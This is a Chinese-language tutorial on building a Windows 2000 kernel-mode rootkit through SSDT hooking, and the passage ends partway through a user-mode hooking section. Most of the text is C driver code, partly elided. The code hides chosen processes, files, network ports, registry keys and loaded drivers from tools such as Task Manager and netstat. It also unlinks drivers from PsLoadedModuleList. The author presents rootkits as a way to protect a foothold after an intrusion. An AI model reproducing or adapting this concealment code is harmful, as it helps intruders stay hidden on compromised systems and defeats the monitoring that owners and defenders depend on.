hook小结

 我们安全爱好者，都接触过Rootkit，它对我们入侵后的保护提供了强大的支持。现今比较流行的Rootkit有Hxdef，NtRootkit和AFX Rootkit，而且Hxdef和AFX Rootkit还提供了源代码，对我们的学习提供了很大的方便。这些Rootkit都是使用HOOK技术实现的，欺骗的是用户，而不是操作系统。使用HOOK开发Rootkit是比较简单的，虽然现在也有很多其他的技术，但门槛都太高，很多技术都需要硬编码，对于我等菜鸟，实在是没有这么高深的技术。而HOOK就不同了，它开发简单，兼容性好，而且它几乎是你在编程道路上的一项必学技术，因为太多地方需要HOOK了，使用HOOK开发Rootkit不过是其中的一个应用而已，也是学习HOOK的一项比较好的实践机会。好了，进入正题，本文涉及的内容虽然不深，但也需要你有Windows编程以及驱动程序设计的基础。另外，本文的所有内容均在Windows 2000 SP4下测试成功，如无特殊提示，所以内容都是以Windows 2000 SP4、Intel x86为平台介绍的。


一、序言


针对本文开发的Rootkit，我们常常把它称作Hook System Call、Sysem Service Call或System Service Dispatching，更正规的说法是Hook Windows系统服务调用，它是系统中的一个关键接口，提供了系统由用户态切换到内核态的功能。我们知道，一般处理器可以提供从Ring0到Ring3四种处理器模式，其中必须提供2种，就是Ring0和Ring3。一些特殊的处理器指令只能在内核模式执行，一些高端内存也必须在内核模式下才能访问（可以通过内存映射的方法解决，请参考其他文章，本文不做介绍）。Windows系统就是利用了这2个处理器模式，将系统的关键组件保护起来，只有在内核模式才可以访问，并提供了一个上层接口，供用户程序访问，一切都是在MS的管理之下（悲哀啊！）。下面是Windowx体系结构的简略图。


[-------------------Windowx体系结构---------------------]
系统进程，服务进程，应用程序，环境子系统
应用程序编程接口（API）
基于NTDLL.DLL的本地系统服务
（用户模式）
---------------------------------------------------------------
（内核模式）
系统服务调用（SSDT）
执行体（Executive）
系统内核，设备驱动（Kernel）
硬件抽象层（HAL）


二、Windows系统服务调用


1.机制
Windows 2000的陷阱调度（Trap Dispatching）机制包括了：中断（Interrupt），延迟过程调用（Deferred Procedure Call），异步过程调用（Asynchronous Procedure Call），异常调度（Exception Dispatching）和系统服务调用（System Service Call）。在Intel x86平台的Windows 2000使用int 0x2e指令进入Windows系统服务调用；Windows XP使用sysenter指令使系统陷入系统服务调用程序中；而AMD平台的Windows XP系统使用syscall指令进入Windows系统服务调用。下面是Intel x86平台的Windows 2000的系统服务调用模型。


mov eax, ServiceId
lea edx, ParameterTable
int 2eh
ret ParamTableBytes


其中ServiceId是传递给系统服务调用程序的ID号，内核使用这个ID号来查找系统服务调度表（System Service Dispath Table）中的对应系统服务信息。在系统服务调度表中，每一项都包含了一个指向具体的系统服务程序的指针，我们就是需要HOOK这个指针，使其指向我们自定义的代码（稍后会详述）。ParameterTable是传递的参数，系统服务调用程序KiSystemService函数会严格检查传递的每一个参数，并将其参数从线程的用户内存中复制到系统的内存中，以便内核可以访问。执行的int指令会导致陷阱发生，所以Windows 2000内的中断描述表（Interrupt Descriptor Table）中的0x2e指向了系统服务调用程序。最后的ParamTableBytes是返回的参数个数的信息。

其实，系统服务调用也是一个接口，是面向Windows内核的接口。它实现了将用户模式下的请求转发到内核模式下，并引发了处理器模式的切换。在用户看来，系统服务调用就是与Windows内核通信的一个桥梁。

2.类型
在Windows 2000中默认存在两个系统服务调度表，它们对应了两类不同的系统服务。这两个系统服务调度表分别是：KeServiceDescriptorTable和KeServiceDescriptorTableShadow。前者有ntoskrnl.exe导出，后者由Win32k.sys导出。在系统中，有三个DLL是最重要的：Kernel32.dll、User32.dll和Gdi32.dll，这些DLL导出的函数，都是通过某种类型的中断进入内核态，然后调用ntoskrnl.exe或Win32k.sys中的函数。函数KeAddSystemServiceTable允许Win32.sys和其他设备驱动程序添加系统服务表。除了Win32k.sys服务表外，使用KeAddSystemServiceTable添加的服务表会被同时复制到KeServiceDescriptorTable和KeServiceDescriptorTableShadow中去。

●注：由于本文的Rootkit只针对KeServiceDescriptorTable，KeServiceDescriptorTableShadow只会稍微提及一些，不会详述。●

另外在提一下，NTDLL.DLL和ntoskrnl.exe的关系很“微妙”，用户态和内核态的调用也是有分别的，比如：参数检查。还有Native API导出了2套函数：Zw***和Nt***，要想彻底了解这些内容，推荐看Sunwear写的《浅析本机API》，我们的论坛原创版有这篇文章 http://www.eviloctal.com/forum/index.php。

综上所述，Kernel32.dll/Advapi32.dll进入NTDLL.DLL后，使用int 0x2e中断进入内核，最后在ntoskrnl.exe中实现了真正的函数调用；User32.dll和Gdi32.dll则在Win32k.sys中实现了真正的函数调用。


三、HOOK系统服务


HOOK系统服务，首先需要定位系统服务调度表，这里需要一个未公开的ntoskrnl.exe导出单元KeServiceDescriptorTable，它对应一个简单的数据结构，使用它完成对系统服务调度表的修改。


typedef struct servicetable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParamerterTableBase;
}ServiceDescriptorTableEntry,*PServiceDescriptorTableEntry;


ServiceTableBase指向系统服务程序的地址，我们需要对它进行HOOK，使这个地址指向我们的代码。ParamerterTableBase是参数列表的地址，它们都包含了NumberOfService这么多个单元。

我们先用SoftICE分析一下系统服务调度表。使用ntcall命令可以列出系统中的系统服务调度表，但不同的系统，不同的SP补丁，系统服务调度表肯定是不会相同的，因为MS随时都会修改此表。Ntcall命令的输出类似这样：

000A 0008:8049860A params=06 NtAdjustPrivilegesToken

000A是它的序号，8049860A是其地址，params=06表示有6个参数，NtAdjustPrivilegesToken就是函数名了，对应的API是AdjustPrivilegesToken。Win32k.sys导出的系统服务调度表位于KeServiceDescriptorTable+50h处，ServiceID从1000h开始，其结构基本和ntoskrnl.exe一样。我们具体看一下，由于SoftICE的输出非常多，这里只节选一小部分。


:dd KeServiceDescriptorTable l 4*4
//如果要查看Win32k.sys，则使用dd KeServiceDescriptorTable+50 l 4*4
0008:8047F7E0 80471128 00000000 000000F8 8047150C ……
……

8047F7E0为KeServiceDescriptorTable的地址，80471128为ServiceTableBase的地址，000000F8为NumberOfService，8047150C为ParamerterTableBase。

:dd @KeServiceDescriptorTable l byte(@(KeServiceDescriptorTable+08))*4
0008:80471128 804C3D66 804F7F84 804FADF2 804F7FAE ……
……

80471128地址处为ServiceID=0的系统服务入口地址。在来看一下参数列表。

:dd @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 2C2C2018 44402C40 0818180C 100C0404 ……
:db @(KeServiceDescriptorTable+0c) l byte(@(KeServiceDescriptorTable+08))
0008:8047150C 18 20 2C 2C 40 2C 40 44 0C 18 18 08 04 04 0C 10 ……


18 20 2C 2C，这里的18表示参数个数，即18h/4=6。根据上面的分析，我们只要修改ServiceTableBase到ServiceTableBase+NumberOfService*4范围的数据就可以改变系统服务的执行流程；修改ServiceID就可以改变这一个系统服务的入口地址，我以ZwQuerySystemInformation为例说明一下。


:u ZwQuerySystemInformation
ntoskrnl!ZwQuerySystemInformation
0008:8042F288 MOV EAX, 00000097
0008:8042F280 LEA EDX, [ESP+04]
0008:8042F291 INT 2E
0008:8042F293 RET 0010


使用ZwQuerySystemInformation的线性地址+1，就可以定位ServiceID，即入口地址，将这个地址指向我们的函数，就大功告成了。首先需要将KeServiceDescriptorTable引入，这样才能操作系统服务调度表。

__declspec(dllimport) ServiceDescriptorTableEntry KeServiceDescriptorTable;


然后定义一个宏，参数是需要HOOK函数的线性地址。

#define SYSCALL(_Function)
KeServiceDescriptorTable.ServiceTableBase[*(ULONG *)((UCHAR *)_Function+1)]


将_Function+1即可确定ServiceID的位置，即在系统服务调度表中的入口地址。有了这个宏，就可以“自由”的将地址指向“任何”位置，我以ZwQuerySystemInformation为例进行演示。首先定义一个typedef函数指针，用于保存原ZwQuerySystemInformation的地址。


typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION) (
IN ULONG SystemInformationClass,
……);



声明ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; 然后定义HOOK函数。


NTSTATUS NewZwQuerySystemInformation (
……);


最后还差一个线性地址的函数，这个函数需要遵循DDK函数的调用约定，它什么工作都不做，只是帮助我们得到线性地址，进而在系统服务调度表中找到入口地址。


NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
……);


万事具备，只欠东风。使用SYSCALL宏保存原函数地址，然后指向新函数。


OldZwQuerySystemInformation=(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation)); //保存原函数地址

_asm cli

(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=NewZwQuerySystemInformation; //指向新函数

_asm sti


还原的时候只需将OldZwQuerySystemInformation的地址指向ServiceTableBase即可。


_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))=OldZwQuerySystemInformation; //还原

_asm sti


这样就可以HOOK成功了。其实想想，不过是使用HOOK函数的线性地址确定在系统服务调度表中的入口地址，然后将这个入口地址指向新函数或旧函数，用SoftICE看看HOOK前后的系统服务调度表就明白了。

下面的内容就是具体开发了，包括隐藏进程，文件/目录，端口，注册表，内核模块，服务/驱动，用户，需要说一下的是，隐藏服务/驱动，用户是用户态的HOOK，在隐藏服务的章节中，我会介绍用户态的HOOK，其他都是在内核下完成的。


四、隐藏进程


我们平常枚举进程，都是使用HelpTool库、Psapi库中的函数，这些函数最终会调用ZwQuerySystemInformation函数，所以只要HOOK这个函数，就可以隐藏进程，使类似任务管理器这样的工具不会发现隐藏的进程。HOOK的方法前边已经说过，所以这里只给出HOOK后函数的处理代码，很好理解。

首先说说ZwQuerySystemInformation函数，使用它可以查询详细的系统信息，信息类型多达54种，我们在用户态使用的很多查询系统信息的API，其实最终都是调用的它。在这54种查询类型中，包含进程信息的有2个，一个是信息类型为5，另一个则为16，前者为系统的进程信息，后者为系统的句柄表，其中包含进程ID。这2个查询信息的方法是不同的，所以要分别HOOK。下面是ZwQuerySystemInformation函数的原型。

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation (
IN ULONG SystemInformationClass, //获取的系统信息类别
IN OUT PVOID SystemInformation, //返回的信息指针
IN ULONG SystemInforamtionLength, //长度
OUT PULONG ReturnLength OPTIONAL); //实际的缓冲区大小

如果SystemInformationClasss为5，那么SystemInformation会返回下面这个结构。

typedef struct system_porcess
{
ULONG NextEntryDelta; //进程偏移
ULONG ThreadCount; //线程数
ULONG Reserved1[6]; //保留
LARGE_INTEGER CreateTime; //进程创建时间
LARGE_INTEGER KernelTime; //内核占用时间
LARGE_INTEGER UserTime; //用户占用时间
UNICODE_STRING ProcessName; //进程名
KPRIORITY BasePriority; //优先级
ULONG ProcessId; //进程ID
ULONG InheritedProcessId; //父进程ID
ULONG HandleCount; //句柄数
ULONG Reserved2[2]; //保留
VM_COUNTERS VmCounters; //VM信息
IO_COUNTERS IoCounters; //IO信息
SYSTEM_THREAD SystemThread[1]; //线程信息
}SYSTEM_PROCESS,*LPSYSTEM_PROCESS;

如果SystemInformationClasss为16，则返回下面这个结构。
typedef struct system_handle_entry
{
ULONG ProcessId; //进程ID
UCHAR ObjectType; //句柄类型
UCHAR Flags; //标志
USHORT HandleValue; //句柄的数值
PVOID ObjectPointer; //句柄所指向的内核对象地址
ACCESS_MASK GrantedAccess; //访问权限
}SYSTEM_HANDLE_ENTRY,*LPSYSTEM_HANDLE_ENTRY;

typedef struct system_handle_info
{
ULONG Count; //系统句柄数
SYSTEM_HANDLE_ENTRY Handle[1]; //句柄信息
}SYSTEM_HANDLE_INFORMATION,*LPSYSTEM_HANDLE_INFORMATION;

对于信息类5，我们需要改变NextEntryDelta结构成员，它是进程列表的偏移地址。比如第一个进程信息在SystemInformation+0处，那么第二个信息就在SystemInformation+第一个NextEntryDelta处，依次类推，最后一个进程信息的NextEntryDelta就为0了。也就是说，如果要隐藏第一个进程，就向前移动缓冲区，移动的长度是第一个进程信息结构的大小；如果要隐藏中间的进程，则多加一个NextEntryDelta，就可以覆盖掉要隐藏的进程信息结构；如果要隐藏最后一个进程，将NextEntryDelta设置为0就可以了。

对于信息类16，就没有什么偏移地址了，而是一个完整的缓冲区，我们要隐藏那个句柄，就向前移动SYSTEM_HANDLE_ENTRY结构的大小，覆盖掉要隐藏的数据。

NTSTATUS NewZwQuerySystemInformation (
IN ULONG SystemInformationClass,
……)
{
......
//请求原函数
ntStatus=(OldZwQuerySystemInformation)(SystemInformationClass,……);

//SystemInformationClass==16 枚举系统句柄表
if (NT_SUCCESS(ntStatus) && SystemInformationClass==16)
{
//指向句柄表缓冲区
lpSystemHandle=(LPSYSTEM_HANDLE_INFORMATION)SystemInformation;
Num=lpSystemHandle->Count; //取得系统句柄数

for (n=0; n<Num; n++)
{
//比较句柄表中的进程ID
if (HIDDEN_SYSTEM_HANDLE==lpSystemHandle->Handle[n].ProcessId)
{
//向前移动句柄表缓冲区
memcpy((lpSystemHandle->Handle+n),(lpSystemHandle->Handle+n+1),
(Num-n-1) * sizeof (SYSTEM_HANDLE_ENTRY));
Num--; //总数要--
n--;
}
}
}

//SystemInformationClass==5 枚举系统进程
if (NT_SUCCESS(ntStatus) && SystemInformationClass==5)
{
//指向进程列表缓冲区
ProcCurr=(LPSYSTEM_PROCESS)SystemInformation;
while (ProcCurr)
{
RtlUnicodeStringToAnsiString(&ProcNameAnsi,&ProcCurr->ProcessName,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_PROCESS,ProcNameAnsi.Buffer,
strlen(ProcNameAnsi.Buffer))==0)
{
//移动进程偏移NextEntryDelta
if (ProcPrev)
{
if (ProcCurr->NextEntryDelta)
ProcPrev->NextEntryDelta+=ProcCurr->NextEntryDelta;
else
ProcPrev->NextEntryDelta=0;
}
else
{
if (ProcCurr->NextEntryDelta)
SystemInformation=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
SystemInformation=NULL;
}
}

ProcPrev=ProcCurr;
//下一进程
if (ProcCurr->NextEntryDelta)
ProcCurr=(LPSYSTEM_PROCESS)((TCHAR *)
ProcCurr+ProcCurr->NextEntryDelta);
else
ProcCurr=NULL;
}
}

……
return ntStatus;
}

HIDDEN_SYSTEM_HANDLE和HIDDEN_SYSTEM_PROCESS是2个宏，分别为隐藏的进程ID和进程名。下面介绍隐藏文件/目录。


五、隐藏文件/目录


枚举文件使用ZwQueryDirectoryFile函数，其原型如下：

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile (
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN ReturnOnlyOneEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartQuery);

hFile为文件句柄，由ZwCrateFile或ZwOpenFile获得，FileInfoClass是一个不断变化的枚举类型，但只有4个同文件/目录有关。FileInformationBuffer是返回的信息指针。我们要隐藏文件/目录，就要处理这4个不同的枚举类型，它们的数值分别是：1、2、3和12，分别对应4个不同的结构，由于结构内容比较长，所以只介绍信息类为12的内容，其他可以在光盘中的FileInfo.txt中找到。信息类为12返回的结果如下：

typedef struct file_name_info {
ULONG NextEntryOffset; //文件偏移
ULONG Unknown; //下一文件索引
ULONG FileNameLength; //文件长度
WCHAR FileName[1]; //文件名
}FILE_NAMES_INFORMATION,*LPFILE_NAMES_INFORMATION;

隐藏文件/目录的方法和隐藏进程基本上一样，如果没有文件/目录被找到，应该返回0x80000006。

NTSTATUS NewZwQueryDirectoryFile (
IN HANDLE hFile,
……)
{
......
//请求原函数
ntStatus=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (hFile,……);

if (NT_SUCCESS(ntStatus) && FileInfoClass==12)
{
//指向文件列表缓冲区
FileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;
do {
LastOne=!(FileCurr->NextEntryOffset); //取偏移
FileNameLength=FileCurr->FileNameLength; //取长度
RtlInitUnicodeString(&FileNameWide,FileCurr->FileName);
RtlUnicodeStringToAnsiString(&FileNameAnsi,&FileNameWide,TRUE);
if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,
(FileNameLength / 2))==0)
{
//最后一个文件
if (LastOne)
{
if (FileCurr==(LPFILE_NAMES_INFORMATION)
FileInformationBuffer)
ntStatus=0x80000006; //隐藏
else
FilePrev->NextEntryOffset=0;
}
else
{
//移动文件偏移
Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);
Left=(DWORD)FileInformationBufferLength-Pos-
FileCurr->NextEntryOffset;
RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)
FileCurr+FileCurr->NextEntryOffset),(DWORD)Left);
continue;
}
}

//下一文件
FilePrev=FileCurr;
FileCurr=(LPFILE_NAMES_INFORMATION)((char *)
FileCurr+FileCurr->NextEntryOffset);
}while (!LastOne);
}

……
return ntStatus;
}

HIDDEN_SYSTEM_FILE同样是宏，另外，文件长度是以Unicode统计的，一个字符占16位，而比较语句是以ANSI比较的，一个字符占8位，所以_strnicmp函数最后的比较大小是FileNameLength / 2，如果以Unicode比较，就不必除以2了。在来看看隐藏端口。


六、隐藏端口


枚举端口使用iphlpapi.dll中的函数，而它们最终调用的是ZwDeviceIoControlFile函数，使用它发送一个特定的IRP获取端口列表，所以只要HOOK了ZwDeviceIoControlFile函数，就可以隐藏端口。函数原型如下：

NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength);

FileHandle为通信设备的句柄，可以使用ZwQueryObject函数获得其具体信息，对于端口设备的，它的名字总是/Device/Tcp或/Device/Udp；IoControlCode为特定的I/O控制代码，表示要查询的信息。InputBuffer和OutputBuffer分别为输入输出缓冲。

查询端口的I/O控制代码有2个，分别为：0x210012和0x120003，它们所返回的结构、分辨TCP/UDP端口都是不同的，需要分别对待。在我的Windows 2000 SP4下，Netstat使用0x120003，而Fport却使用0x210012。对于0x120003，返回的结构如下：

typedef struct tcpaddrentry //TCP
{
ULONG TcpState; //状态
ULONG TcpLocalAddr; //本地地址
ULONG TcpLocalPort; //本地端口
ULONG TcpRemoteAddr; //远程地址
ULONG TcpRemotePort; //远程端口
}TCPADDRENTRY,*LPTCPADDRENTRY;

typedef struct udpaddrentry //UDP
{
ULONG UdpLocalAddr; //UDP只有本地地址
ULONG UdpLocalPort; //端口
}UDPADDRENTRY,*LPUDPADDRENTRY;

很熟悉吧，这正是iphlpapi.dll中的函数返回的结构。对于这2个结构，还可以扩展，则会增加一个进程ID，不过只适用XP/2003，结构就不帖了，可以在RootkitMain.h中查找到。使用这个I/O控制代码进行端口查询，FileHandle的名字总是/Device/Tcp，所以区别TCP和UDP的方法是检查InputBuffer，包括判断是否为扩展结构。

对于TCP查询，输入缓冲的特征是InputBuffer[0]为0x00，如果OutputBuffer中已经有了端口数据，则InputBuffer[17]为0x01，如果是扩展结构，则InputBuffer[16]为0x02。对于UDP查询，InputBuffer[0]就为0x01了，InputBuffer[16]和InputBuffer[17]的值和TCP查询是一样的。我们使用这3个值来区分TCP/UDP端口和是否为扩展结构，OutputBuffer返回的是完整的端口列表缓冲区，使用IoStatusBlock取得端口的数量，隐藏某个端口，就向前移动缓冲区。对于0x210012，返回的结构如下：

typedef struct tdiconnectinfo
{
ULONG State;
ULONG Event;
ULONG TransmittedTsdus;
ULONG ReceivedTsdus;
ULONG TransmissionErrors;
ULONG ReceiveErrors;
LARGE_INTEGER Throughput;
LARGE_INTEGER Delay;
ULONG SendBufferSize;
ULONG ReceiveBufferSize;
BOOLEAN Unreliable;
}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;

使用这个I/O控制代码进行端口查询，FileHandle的名字是/Device/Tcp或/Device/Udp，所以分别TCP或UDP不需要输入缓冲，而是使用ZwQueryObject函数获取句柄的名字。OutputBuffer返回的是单独的缓冲区，也就是说，一个端口返回一个，隐藏某个端口，就将返回值设置为STATUS_INVALID_ADDRESS即可。

NTSTATUS NewZwDeviceIoControlFile (
IN HANDLE FileHandle,
......)
{
......
//请求原函数
ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,……);

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x210012))
{
//查询句柄名称 以便确定是TCP还是UDP
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
//指向端口列表缓冲区
lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);

//TCP端口
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隐藏
}

//UDP端口
if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,
strlen(UDP_PORT_DEVICE))==0)
{
if (ntohs(lpTdiConnInfo->ReceivedTsdus)==HIDDEN_SYSTEM_PORT)
ntStatus=STATUS_INVALID_ADDRESS; //隐藏
}
}
}

if ((NT_SUCCESS(ntStatus)) && (IoControlCode==0x120003))
{
if (NT_SUCCESS(ZwQueryObject(FileHandle,
OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&RetLen)))
{
RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);
if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,
strlen(TCP_PORT_DEVICE))==0)
{
if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength<17))
//错误处理

if ((InBuf[0]==0x00) && (InBuf[17]==0x01)) //TCP端口
{
if (InBuf[16]!=0x02) //非扩展结构
{
//获取端口个数
Num=IoStatusBlock->Information / sizeof (TCPADDRENTRY);
lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;

for (n=0; n<Num; n++)
{
if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==
HIDDEN_SYSTEM_PORT)
{

//向前移动端口列表缓冲区
memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),
((Num-n-1) * sizeof (TCPADDRENTRY)));
Num--; //总数--
n--;
break;
}
}

//隐藏后端口总数
IoStatusBlock->Information=Num * sizeof (TCPADDRENTRY);
......
}
}
……
}
}
}

return ntStatus;
}

0x120003查询的UDP和处理扩展结构的代码就不帖了，和处理TCP一样，无非就是结构不同，隐藏都是memcpy移动缓冲。还有必须检查InBuf[17]是否为0x01，否则指向的OutputBuffer就是NULL指针了。下面的内容是隐藏注册表。


七、隐藏注册表


枚举注册表键和键值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函数，它们所做的工作基本一样，都是使用索引获取键/键值，并返回一个缓冲区指针。ZwEnumerateKey函数原型如下，ZwEnumerateValueKey函数和它几乎一样，就不帖出来了。

NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (
IN HANDLE KeyHandle, //句柄
IN ULONG Index, //请求的索引
IN KEY_INFORMATION_CLASS KeyInformationClass, //获取的信息类型
OUT PVOID KeyInformation, //返回的缓冲区指针
IN ULONG Length, //长度
OUT PULONG ResultLength); //实际长度

DDK中公开了若干注册表函数，所以这2个函数的结构，枚举类型都已经定义好了，直接使用就可以了。KeyInformationClass一共4个值，可喜的是我们不必逐个处理，统一处理就可以了，因为只需要注册表键/键值名和其长度，而返回的这4个结构中都包含这2个结构成员，所以才可以统一处理。这里我们使用KEY_BASIC_INFORMATION结构。

typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;

这里我们需要的东西是Name和它的长度NameLength。而对于ZwEnumerateValueKey函数，我们使用KEY_VALUE_BASIC_INFORMATION结构（和KEY_BASIC_INFORMATION几乎一样，所以请查询DDK Documentation文档）。

枚举注册表键/键值，是通过索引获取的，这样的话，我们隐藏了一个注册表键/键值，那其后的所有索引都需要改变。这里就需要有一个标界，理所当然是利用KeyHandle的值，不同子键的句柄值是不同的。举个例子，例如隐藏了KeyHandle为1下的某一个注册表键，那么其后KeyHandle为1下的所有索引（注册表键）都需要+1，而不是KeyHandle为1的就不需要加了。具体看一下代码，这里仍以ZwEnumerateKey函数为例。

NTSTATUS NewZwEnumerateKey (
IN HANDLE KeyHandle,
......)
{
......
static HANDLE RegHandle=NULL;
static LONG RegIndex=0;

if (RegHandle==KeyHandle) //同一句柄
Index+=RegIndex; //加上隐藏的注册表键个数
else
{
RegIndex=0; //否则重新赋值为0
RegHandle=NULL;
}

//请求原函数
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);

if (NT_SUCCESS(ntStatus))
{
//指向注册表键缓冲区
lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);
RtlInitUnicodeString(&RegsNameWide,lpKeyBasic->Name);
RtlUnicodeStringToAnsiString(&RegsNameAnsi,&RegsNameWide,TRUE);

if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,
(lpKeyBasic->NameLength / 2))==0)
{
RegHandle=KeyHandle; //取句柄值
RegIndex++; //隐藏个数
Index++; //索引加1

//再次请求 跳过隐藏的注册表键
ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,……);
}
}

……
return ntStatus;
}

使用这种方法隐藏注册表键/键值，发现有时不同子键的KeyHandle值也是相同的，这就造成了多隐藏数据。解决的办法是HOOK了ZwOpenKey函数，使用ZwOpenKey函数的KeyHandle枚举键/键值（使用ZwEnumerateKey和ZwEnumerateValueKey函数），并记录下需要隐藏的索引，然后在ZwEnumerateKey或ZwEnumerateValueKey函数中Index参数进行比较，如果相等，就隐藏了（索引+1即可），这样上面的问题就可以解决了。如果想要做的更隐蔽，像ZwQueryKey、ZwDeleteKey等函数都需要HOOK，我这里只是演示程序，没写这么详细，这些内容就留给各位读者自己实践了（嘿嘿，这叫偷懒）。


八、隐藏内核模块


所谓内核模块，就是内核加载的驱动信息，DDK中的Drivers.exe可以枚举出系统的内核模块列表，它最终调用的是ZwQuerySystemInformation函数，信息类为11，表示获取系统的内核模块。如果要隐藏某个内核模块，就像上边介绍隐藏系统句柄一样，memcpy移动缓冲区，所以这里介绍另一种隐藏方法：从PsLoadedModuleList链上摘除内核模块。PsLoadedModuleList是系统中一个未公开的内核变量（LIST_ENTRY链表），保存着系统的内核模块。使用这种方法隐藏的关键是找到PsLoadedModuleList的地址，好在前人已经给出了方法，用驱动程序对象+14h即可定位PsLoadedModuleList。我们首先需要定义一个结构（这个结构虽然不是完整的，但我可以保证它正常工作）。GetPsLoadedModuleList函数查找PsLoadedModuleList的地址，HideAmlName函数隐藏内核模块，代码如下：

typedef struct moduleentry
{
LIST_ENTRY ListEntry;
DWORD Unknown[4];
DWORD Base;
DWORD DriverStart;
DWORD Unknown1;
UNICODE_STRING DriverPath;
UNICODE_STRING DriverName;
}MODULE_ENTRY,*LPMODULE_ENTRY;

DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)
{
......
if (DriverObject)
{
//驱动程序对象+14h处是PsLoadedModuleList地址
if ((lpModuleEntry=*((LPMODULE_ENTRY *)
((DWORD)DriverObject+0x14)))==NULL)
{
//错误处理
}
}

return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址
}

NTSTATUS HideAmlName (TCHAR *HideModule)
{
if (ModuleEntry)
CurrentModuleEntry=ModuleEntry;
else
return STATUS_UNSUCCESSFUL;
//这是双向链表
while ((LPMODULE_ENTRY)CurrentModuleEntry->ListEntry.Flink!=ModuleEntry)
{
if ((CurrentModuleEntry->Unknown1!=0) &&
(CurrentModuleEntry->DriverPath.Length!=0))
{
RtlUnicodeStringToAnsiString(&DriverNameAnsi,
&CurrentModuleEntry->DriverName,TRUE);

if (_strnicmp(HideModule,DriverNameAnsi.Buffer,
strlen(DriverNameAnsi.Buffer))==0)
{
*((DWORD *)CurrentModuleEntry->ListEntry.Blink)=
(DWORD)CurrentModuleEntry->ListEntry.Flink;
CurrentModuleEntry->ListEntry.Flink->Blink=
CurrentModuleEntry->ListEntry.Blink;
break;
}
}
//向下移动
CurrentModuleEntry=(LPMODULE_ENTRY)
CurrentModuleEntry->ListEntry.Flink;
}

return STATUS_SUCCESS;
}

从PsLoadedModuleList链上摘除内核模块后，ZwQuerySystemInformation函数就无法枚举出它了。


九、用户态HOOK


用户态的HOOK有很多方法，比如修改函数的前5个字节，修改输入表等，这里采用eyas大哥的方法COPY DLL，主要是这种方法效率不错。HOOK新进程采用消息钩子，所以需要编写成DLL。

HOOK的步骤首先将需要HOOK的DLL加载到当前进程的地址空间中，然后使用PSAPI中的GetModuleInformation函数获取DLL信息，目的是得到DLL的加载地址。

BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)
{
//取得摸快句炳
if ((lpHookDllInfo->hModule=LoadLibrary(Name))==NULL)
{
//错误处理
}

//获取摸快信息
if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo->hModule,
&lpHookDllInfo->ModuleInfo,sizeof(MODULEINFO)))
{
//错误处理
}

